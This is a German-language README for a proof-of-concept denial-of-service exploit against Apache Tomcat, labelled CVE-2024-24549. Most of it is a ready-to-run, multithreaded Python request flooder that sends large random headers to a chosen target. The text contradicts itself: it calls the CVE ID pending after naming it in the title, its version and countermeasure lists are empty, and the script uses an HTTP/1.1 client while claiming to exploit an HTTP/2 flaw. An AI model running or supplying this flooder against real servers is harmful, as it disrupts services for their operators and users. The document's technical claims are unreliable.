
Proof-of-Concept-Exploit für CVE-2024-24549, eine Denial-of-Service-Sicherheitslücke in Apache Tomcat über HTTP/2-Header-Überlauf. Enthält ein Python-Skript zum Testen und zur Ressourcenerschöpfung.
Hier ist eine README.md für ein Proof of Concept (PoC), das die Denial-of-Service (DoS) Sicherheitslücke in Apache Tomcat aufgrund einer unzureichenden Eingabevalidierung von HTTP/2-Anfragen demonstriert:
Dieses Repository enthält ein Proof-of-Concept (PoC) Skript, das eine Denial-of-Service (DoS) Schwachstelle in Apache Tomcat demonstriert. Die Schwachstelle entsteht durch eine unzureichende Eingabevalidierung von HTTP/2-Anfragen, was zu potenziellen DoS-Bedingungen führen kann.
CVE-ID: (Ausstehend)
Übersicht: Apache Tomcat Versionen von 11.0.0-M1 bis 11.0.0-M16, 10.1.0-M1 bis 10.1.18, 9.0.0-M1 bis 9.0.85 und 8.5.0 bis 8.5.98 sind anfällig für einen Denial-of-Service-Angriff. Das Problem tritt bei der Verarbeitung von HTTP/2-Anfragen mit Headern auf, die die konfigurierten Limits überschreiten. Der HTTP/2-Stream wird erst zurückgesetzt, nachdem alle Header verarbeitet wurden, was möglicherweise zu einer Ressourcenerschöpfung führt.
Betroffene Versionen:
Gegenmaßnahmen:
Dieses PoC-Skript zeigt, wie die DoS-Schwachstelle ausgenutzt werden kann, indem HTTP/2-Anfragen gesendet werden, die die konfigurierten Header-Limits überschreiten. Das Skript sendet eine große Anzahl von Anfragen, um die Ressourcen auf dem Server zu erschöpfen.
import http.client
import threading
import logging
import time
import random
import string
import argparse
import os
# Configuration defaults
DEFAULT_HOST = "target-server"
DEFAULT_PORT = 443
DEFAULT_NUM_REQUESTS = 1000
DEFAULT_CONCURRENT_THREADS = 10
DEFAULT_REQUEST_INTERVAL = 0.5
DEFAULT_LOG_FILE = "requests.log"
# Setup logging
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
def random_string(length):
"""Generate a random string of fixed length."""
letters = string.ascii_letters + string.digits
return ''.join(random.choice(letters) for i in range(length))
def dynamic_payload():
"""Generate a dynamic payload for requests."""
return random_string(random.randint(10, 100))
def send_request(conn, method, endpoint, headers, payload):
"""Send a single HTTP request."""
conn.request(method, endpoint, body=payload, headers=headers)
response = conn.getresponse()
return response.status, response.reason
def send_dos_requests(host, port, num_requests, concurrent_threads, request_interval, log_file):
def worker(thread_id):
conn = None
try:
conn = http.client.HTTPSConnection(host, port, timeout=10)
for i in range(num_requests // concurrent_threads):
method = random.choice(["GET", "POST"])
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"X-Test-Header": random_string(65536)
}
payload = dynamic_payload() if method == "POST" else None
status, reason = send_request(conn, method, "/", headers, payload)
logging.info(f"Thread {thread_id} - Request {i + 1}: Status Code: {status}, Reason: {reason}")
with open(log_file, "a") as logf:
logf.write(f"Thread {thread_id} - Request {i + 1}: Status Code: {status}, Reason: {reason}\n")
time.sleep(request_interval)
except Exception as e:
logging.error(f"Thread {thread_id} - An error occurred: {e}")
finally:
if conn:
conn.close()
# Create and start threads
threads = []
for i in range(concurrent_threads):
thread = threading.Thread(target=worker, args=(i + 1,))
thread.start()
threads.append(thread)
time.sleep(0.1)
for thread in threads:
thread.join()
logging.info("Completed sending requests")
def parse_args():
"""Parse command-line arguments."""
parser = argparse.ArgumentParser(description="HTTP Request Flooder")
parser.add_argument('--host', default=DEFAULT_HOST, help='Target server address')
parser.add_argument('--port', type=int, default=DEFAULT_PORT, help='Target server port')
parser.add_argument('--num-requests', type=int, default=DEFAULT_NUM_REQUESTS, help='Total number of requests to send')
parser.add_argument('--concurrent-threads', type=int, default=DEFAULT_CONCURRENT_THREADS, help='Number of concurrent threads')
parser.add_argument('--request-interval', type=float, default=DEFAULT_REQUEST_INTERVAL, help='Interval between requests')
parser.add_argument('--log-file', default=DEFAULT_LOG_FILE, help='File to log request results')
return parser.parse_args()
if __name__ == "__main__":
args = parse_args()
logging.info(f"Starting flooder with {args.num_requests} requests to {args.host}:{args.port} using {args.concurrent_threads} threads")
send_dos_requests(
host=args.host,
port=args.port,
num_requests=args.num_requests,
concurrent_threads=args.concurrent_threads,
request_interval=args.request_interval,
log_file=args.log_file
)
host auf die Adresse des Zielservers und port auf den entsprechenden Port (üblicherweise 443 für HTTPS). Passen Sie num_requests an, um die Anzahl der gesendeten Anfragen zu steuern.Um diese Schwachstelle zu entschärfen:
Weitere Informationen zur Sicherung Ihrer Apache Tomcat-Installation finden Sie in der offiziellen Apache Tomcat Dokumentation.
Diese README.md bietet eine Übersicht über die Schwachstelle, das PoC-Skript und Anweisungen zur Gegenmaßnahme. Stellen Sie sicher, dass Sie dieses PoC verantwortungsvoll und nur auf Systemen verwenden, für die Sie ausdrücklich autorisiert sind.